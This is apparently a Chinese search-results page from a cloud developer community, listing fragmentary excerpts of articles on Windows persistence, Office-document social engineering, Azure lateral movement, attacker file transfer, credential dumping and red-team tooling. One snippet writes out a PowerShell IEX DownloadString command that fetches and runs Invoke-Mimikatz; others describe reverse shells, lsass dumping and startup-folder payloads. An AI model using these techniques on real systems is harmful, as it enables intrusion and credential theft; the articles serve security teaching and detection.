文档建议反馈控制台
首页
学习
活动
专区
圈层
工具
MCP广场
文章/答案/技术大牛
发布

Window权限维持（四）：快捷方式

更隐蔽的方法是修改现有合法快捷方式的属性，但是生成具有不同特征的快捷方式可以为代码执行提供灵活性。...默认情况下，此模块将使用写字板图标伪装成可信任的应用程序。 ? 快捷方式的目标字段将使用执行Base64有效负载的PowerShell命令填充。可以将快捷方式转移并移动到启动文件夹中以保持持久性。...Empire-写字板快捷方式快捷方式的目标字段将使用执行Base64有效负载的PowerShell命令填充。可以将快捷方式转移并移动到启动文件夹中以保持持久性。.../pentestlab.exe;或者，该项目包含一个VBS脚本，该脚本可以执行与PowerShell版本相同的操作。...或者，该项目包含一个VBS脚本，该脚本可以执行与PowerShell版本相同的操作。 ?

1.9K30

利用Office文档结合社会工程学手段欺骗用户执行恶意代码

某些文件类型（如EXE文件）将触发另一个警告对话框。但是通过使用其他可执行文件类型可以轻松避免此对话框。 ? 保护模式IE被禁用用于控件，这确实会阻止显示其他对话框——如UAC对话框。...Poc 下面的PowerShell脚本将尝试创建包含嵌入式Internet Explorer对象的Word文档。该脚本使用Packager对象创建一个嵌入文件的对象，单击该对象将触发文件下载功能。...单击设置action属性的嵌入对象，将导致打开定义的URL。常规URL将在默认浏览器中打开，但文件URL（包括共享文件）将直接打开。...将显示一个警告对话框，但此对话框与其他警告对话框略有不同，如图6所示。此警告对话框对于所有文件类型都是相同的。 ? Forms.HTML：Image.1接受一个src，可用于配置文档中显示的图像。...Poc 以下PowerShell脚本可用于创建具有嵌入的Forms.HTML：Image.1对象的Word文档，单击该对象将导致计算器打开。

3K30
    • 您找到你想要的搜索结果了吗？
    是的
    没有找到

    windows系统安全|Windows渗透基础大全

    ) Windows中加载并执行PowerShell脚本 本地加载并执行PowerShell脚本 远程下载并执行PowerShell脚本 Windows中的批处理文件 Windows中快捷键操作 Windows...删除一个文件夹 move 1.txt d:/ 将1.txt文件移动到d盘下 type 123.txt...中加载并执行PowerShell脚本 Windows PowerShell 是一种命令行外壳程序和脚本环境，使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。...更多的关于PowerShell的用法：PowerShell使用浅析 本地加载并执行PowerShell脚本 在cmd当前目录下有PowerView.ps1脚本，并执行其中的Get-Netdomain模块...）是Microsoft Windows中的一个重要的数据库，用于存储系统和应用程序的配置信息 HKEY_CLASSES_ROOT 管理文件系统，根据windows中安装的应用程序的扩展名，该根键指明其文件类型的名称

    2.6K21

    从上而下的死亡：从 Azure 到 On-Prem AD 的横向移动

    其他 Azure 对象（例如用户和组）具有“OnPremSecurityIdentifier”属性，其中列出了对象的本地 SID，但该信息似乎不适用于设备。...点击“Policy”部分下的“Scripts”，进入脚本管理页面： image.png 在这里，我们将添加新的 PowerShell 脚本。...单击“添加”，然后单击“Windows 10：” image.png 这将带您进入“添加 Powershell 脚本”页面。在第一页上，您将输入脚本的名称和简要说明。...为了一个简单的演示，我们现在将坚持使用“Hello World”脚本： image.png 在下一页上，单击文件夹，然后从常用对话窗口中选择您的 PS1。...有两个租户级角色具有将 PowerShell 脚本添加到 Endpoint Manager 的明确能力：“全局管理员”和“Intune 管理员”。

    3.4K10

    Powershell基础入门与实例初识

    参数时，PowerShell 将显示该 cmdlet 的帮助。 Get-Service -? 通用参数: 参数由 PowerShell 引擎控制, 通用参数的行为方式始终相同。...外部可执行文件，或具有已注册的文件类型处理程序的文件也被归类为命令。...名词 在 PS cmdlet 名称中连字符后面的单词。 名词描述了 cmdlet 在其上进行操作的资源。 参数集 可用于相同的命令中以执行特定操作的一组参数。...脚本模块文件具有 .psm1 文件扩展名。 shell 用于将命令传递到操作系统的命令解释器。 开关参数 一个不带实参的形参。 终止错误 阻止 PS 处理命令的错误。...PS数据文件 具有 .psd1 文件扩展名的文本文件。 PS 将数据文件用于多种用途，例如存储模块清单数据和存储用于脚本国际化的已翻译的字符串。 PS驱动器 一个提供直接访问数据存储的虚拟驱动器。

    6K20

    WMI 攻击手法研究 – 探索命名空间、类和方法 (第二部分)

    命名空间 让我们简单回顾一下命名空间是什么： 命名空间结构信息类似于文件系统中文件夹，但是，与物理位置 (例如磁盘上) 不同，它们本质上更具有逻辑 WMI 中的所有命名空间都是 __Namespace...可以实现相同目的： Get-CimInstance -Namespace root -ClassName __Namespace OK，上面已整整齐齐列出来了，那嵌套的名称空间呢？...我们已经看到 root 命名空间下有几个命名空间，只需要编写一个脚本，递归地获取名称空间 (来自 PSMag)： Function Get-WmiNamespace { Param (...类，该类具有一个名为 Description 的可写属性。...让我们使用 Set-WmiInstance 将属性名称更新为 PewOS： 使用 Set-CimInstance 也可以实现相同的效果，但这留给读者去探索。 5 结论 哇，又是一篇长文！

    2.1K21

    人工智能大模型的好处之修改文件名字

    文件移动到对应的文件夹中，您可以使用以下步骤： 创建一个提取GSM ID和文件类型的函数：首先，定义一个函数来从文件名中提取GSM ID和文件类型。...创建文件夹：根据提取的GSM ID创建文件夹。 移动文件：将相应的文件移动到对应的文件夹中。 以下是在shell中执行此操作的示例脚本： #!...其实大模型到现在为止仍然是错误的 首先 它没有考虑到 其实有 tsv.gz和mtx.gz这两个不同的后缀，其次上面的 将提取结果分解为变量 语法也是有问题的。...根据前缀将文件名分组，确保每个样本的三个文件都在同一组。 为每个样本创建一个文件夹，并以样本的前缀命名。 将每个样本的三个文件移动到对应的文件夹中。...这个脚本会为每个样本创建一个文件夹，并将相应的文件移动到这些文件夹中，同时将文件名重命名为barcodes.tsv.gz、genes.tsv.gz和matrix.mtx.gz。

    65100

    针对黑客的Windows文件传输总结

    /nc.exe" C:\temp\nc.exe Windows 10 和 Server 2019 具有内置 cURL (curl.exe)，可用于下载文件，其方式与在 Linux 计算机上使用的方式相同...使用 SimpleHTTPServerWithUpload.py，您仍然可以获得下载文件的常规目录列表，并具有 GUI 上传功能的额外好处，该功能可用于轻松地将文件渗漏回攻击者计算机。...4.2上传文件到攻击者的FTP服务器：cmd.exe 我们对用于将 ftp.txt 文件制作为“PUT”而不是“GET”的 PowerShell 命令进行了相同的更改，我们还将对 cmd.exe 版本进行更改...通过攻击者计算机上的共享，我们实际上可以直接从共享文件夹在受害者上执行文件。例如，我们可以使用共享中的 nc.exe 获取反向 shell，而无需将其复制到受害者。...将PS1 脚本加载到evil-winrm 会话中就像按名称执行任何脚本一样简单。由于-s开关指向我们的脚本目录，因此我们可以双击来查看所有可用的 PS1 脚本。

    2.4K11

    ATT&CK框架：攻击者最常用的TOP7攻击技术及其检测策略

    对Mitre ATT&CK和Red Canary分别整理得出的Top 20技术进行对比分析，我们可以发现有7项技术是重合的，分别为PowerShell、脚本执行、命令行界面、注册表Run Key/ 启动文件夹...这些程序将在用户的上下文中执行，并具有与账户相同的权限级别。 注册表run key和启动文件夹历来都是各类攻击者实现持久化的重要目标。...攻击者仅需要用户级别的权限，并具有写入注册表或将有效负载拖放到启动文件夹的功能。 虽然实现起来相对简单，但非常有效。...针对该攻击技术，可以在持久化机制生命周期的三个不同点上有效地实现检测：安装时、休眠时以及触发时。 在安装时检测run key和启动文件夹项目需要监视特定注册表和文件系统路径的变更情况。...例如，如果要查找wscript.exe，则应查找具有该名称的二进制文件，也应查找具有原始文件名WScript的任何二进制文件。

    2K10

    Office文档嵌入对象点击执行的社工技巧

    在Office 2016和Office 365还添加了其它的安全措施（如GPO等），这样当用户从Internet下载文档时宏将完全被禁用，以及阻止在Packer文件扩展名黑名单列表中的文件类型运行。...POC 以下PowerShell脚本将尝试创建包含嵌入式Internet Explorer对象的Word文档。...该脚本使用Packager对象创建了一个看起来像是嵌入文件的对象，单击该对象将触发文件下载功能。 ? ?...常规URL将在默认浏览器中打开，但文件URL（包括共享文件）将会被直接打开。这将弹出一个警告对话框，但此对话框与其他警告对话框略有不同，如下图所示。 ?...POC 以下PowerShell脚本可用于创建具有嵌入Forms.HTML:Image.1对象的Word文档，单击该对象将打开计算器。 ? ?

    2.7K60

    获取Windows系统密码凭证总结

    2 内容速览 Windows 加密简介 在Windows系统中,通常会使用哈希(hash)转化我们存入的密码,哈希是将目标文本转换成具有相同长度的,不可逆的字符串,具体到应用层还有很多不同的分支 Windows...Windows 凭证获取 使用powershell脚本 powershell脚本:[1] https://raw.githubusercontent.com/samratashok/nishang/master...在cmd中使用如下命令,将脚本加载到内存中直接执行 powershell IEX (New-Object Net.WebClient).DownloadString('脚本下载地址');Invoke-Mimikatz..., 主要用于桌面应用开发人员对应用的一些检测处理,我们使用Procdump实现的主要功能是将正在运行的程序生成静态文件 方便我们进行分析操作,我在上述介绍中提过,处理我们密码的程序是lsass.exe,...lsass文件移动到本机中(最好将此文件和mimikatz.exe放在同一个文件夹,如果不是同一个文件夹,需要在猕猴桃中cd到lsass所在的文件夹中) # 载入静态的lsass文件 sekurlsa:

    2.3K10

    2.Powershell基础入门学习必备语法介绍

    2.外部可执行文件或具有已注册的文件类型处理程序的文件也被归类为命令。...Bypass: 没有任何阻止也没有警告或提示;此执行策略设计用于将PowerShell脚本内置到更大的应用程序中的配置，或者用于以PowerShell为具有自己的安全模型的程序的基础的配置。...名词 在 PS cmdlet 名称中连字符后面的单词。 名词描述了 cmdlet 在其上进行操作的资源。 参数集 可用于相同的命令中以执行特定操作的一组参数。...脚本模块文件具有 .psm1 文件扩展名。 shell 用于将命令传递到操作系统的命令解释器。 开关参数 一个不带实参的形参。 终止错误 阻止 PS 处理命令的错误。...PS数据文件 具有 .psd1 文件扩展名的文本文件。 PS 将数据文件用于多种用途，例如存储模块清单数据和存储用于脚本国际化的已翻译的字符串。 PS驱动器 一个提供直接访问数据存储的虚拟驱动器。

    6.9K10

    Midnight RDP攻击链分析：从钓鱼邮件到Cobalt Strike信标与域控失陷

    这个RDP配置文件的有趣之处在于，它可以用于映射两个连接客户端之间的资源，这意味着攻击者可以将恶意负载投递到启动文件夹，等待下次启动以获取目标机器的初始访问权限，甚至可以窃取受害用户的凭证。...这些员工的名字是什么，按时间顺序排序并用逗号分隔？我们可以使用之前找到的邮件主题以及被入侵邮箱的查询条件，找出有多少封邮件被发送给其他员工。可以看到相同的邮件被发送给了4个不同的员工，只有1个中招。...从PowerShell脚本块日志中，我们可以看到通过PowerShell在域控制器的内存中部署了cobalt strike信标。...答案：ConsentPromptBehaviorAdminQ2: 为了避免检测，攻击者将信标移动到了受保护的系统目录。这个被重定位的恶意文件的名称是什么？...第三条命令将主机名添加到TrustedHosts，确保使用主机名的远程连接被允许。所有这些都允许威胁行为者通过WinRM连接到域控制器，并最终部署内存中信标，如PowerShell脚本块日志所见。

    20310

    Red Team 工具集之攻击武器库

    攻击者可以欺骗用户运行含有该漏洞的 PPT 文件，导致获取和当前登录用户相同的代码执行权限。...这样可以绕过很多对内容和文件类型检测对安全工具。...它可用于将 shellcode 注入本机 Windows 应用程序（仅限于 32 位应用程序）。shellcode 可以是你自己写的或者通过框架生成的，比如Metasploit。...https://github.com/Arvanaghi/CheckPlease Invoke-PSImage 这个工具可以将 powershell 脚本嵌入到 PNG 图片的像素中，从而隐藏恶意脚本，...补丁技术包括： 1、附加到文本段，将数据段前移一页或者更多页 2、文本段和数据段之间如果有空白空间可以利用 3、将 stub 附加到数据段并使其可执行 4、将文本段扩展到数据段之后 5、替换一个节点，替换掉

    3.2K00

    PowerShell实战：文件操作相关命令笔记

    1、New-Item 创建新项命令cmdlet New-Item 将创建新项并设置其值。 可创建的项类型取决于项的位置。 例如，在文件系统 New-Item 中创建文件和文件夹。...表示当前操作目录-Value 指定文件内容常用参数介绍 ● -Name：指定新项的名称。...可以指定新项的名称或者指定新项的路径 ● -Path：指定新项的位置的路，如果省略的话表示当前目录，支持多个字符串通过逗号分割 ● -ItemType：指定新项目的指定提供者的类型（File 文件，SymbolLink...还可以通过管道将值传递给 New-Item ● -Confirm：用于创建操作运行cmdlet之前是否需要确认 ● -Force：针对文件夹，不会覆盖，只会返回之前创建的文件夹，针对文件或者注册表会覆盖文件内容...它支持删除许多不同类型的项，包括文件、文件夹、注册表项、变量、别名和函数。

    1.8K20

    红队技巧-常规横向手法

    然后让跳板机使用copy命令远程操作，将metasploit生成的payload文件Gamma.exe复制到目标主机DC系统C盘中。 3. 再在目标主机DC上创建一个名称为“backdoor”的服务。...3.WMI会建立一个共享文件夹，用于远程读取命令执行结果。 4.当用户输入命令时，WMI创建进程执行该命令，然后把结果输出到文件，这个文件位于之前创建的共享文件夹中。...5.通过FSO组件访问远程共享文件夹中的结果文件，将结果输出。 6.当结果读取完成时，调用WMI执行命令删除结果文件，最后当WMIEXEC退出时，删除文件共享。...，支持py和exe两种文件类型）。...ProgID不能保证是唯一的，并且与CLSID不同，并非每个类都与ProgID相关联。 AppID -该应用程序标识符用于指定一个的配置或多个COM对象与同一可执行相关联。

    2.8K20

    Win系统下文件夹映射的实现（将文件夹从一个盘映射到另一个盘）

    Link：指定新的符号链接名称。...Target：指定新链接引用的路径（相对或绝对） 如将G盘的123文件夹映射到L盘并重命名为test mklink 硬链接/H和符号链接/D的区别 硬链接只能用于文件，不能用于文件夹，而且硬链接和目标文件必须在同一个分区或者卷中...但是硬链接具有以下一些不同的地方。 (1)硬链接必须引用同一个分区或者卷中的文件，而符号链接可以指向不同分区或者共享文件夹上的文件或者文件夹。...(8)对硬链接进行NTFS权限的修改，会同时影响到目标文件(因为两者等价)，而符号链接和目标文件可以设置不同的NTFS权限。...如分别用 mklink /D dird tdir 和 mklink /J dirj tdir 创建 dird、dirj 对相对目录的 tdir 的符号链接和目录联接，之后将 dird、dirj 移动到其它目录下

    4.8K10
    点击加载更多

    相关资讯

    热门标签

    更多标签

    活动推荐

      运营活动

      活动名称
      广告关闭

      腾讯云开发者

      扫码关注腾讯云开发者

      扫码关注腾讯云开发者

      领取腾讯云代金券

      热门产品

      热门推荐

      更多推荐

      Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有

      深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 粤公网安备44030502008569号

      腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号

      领券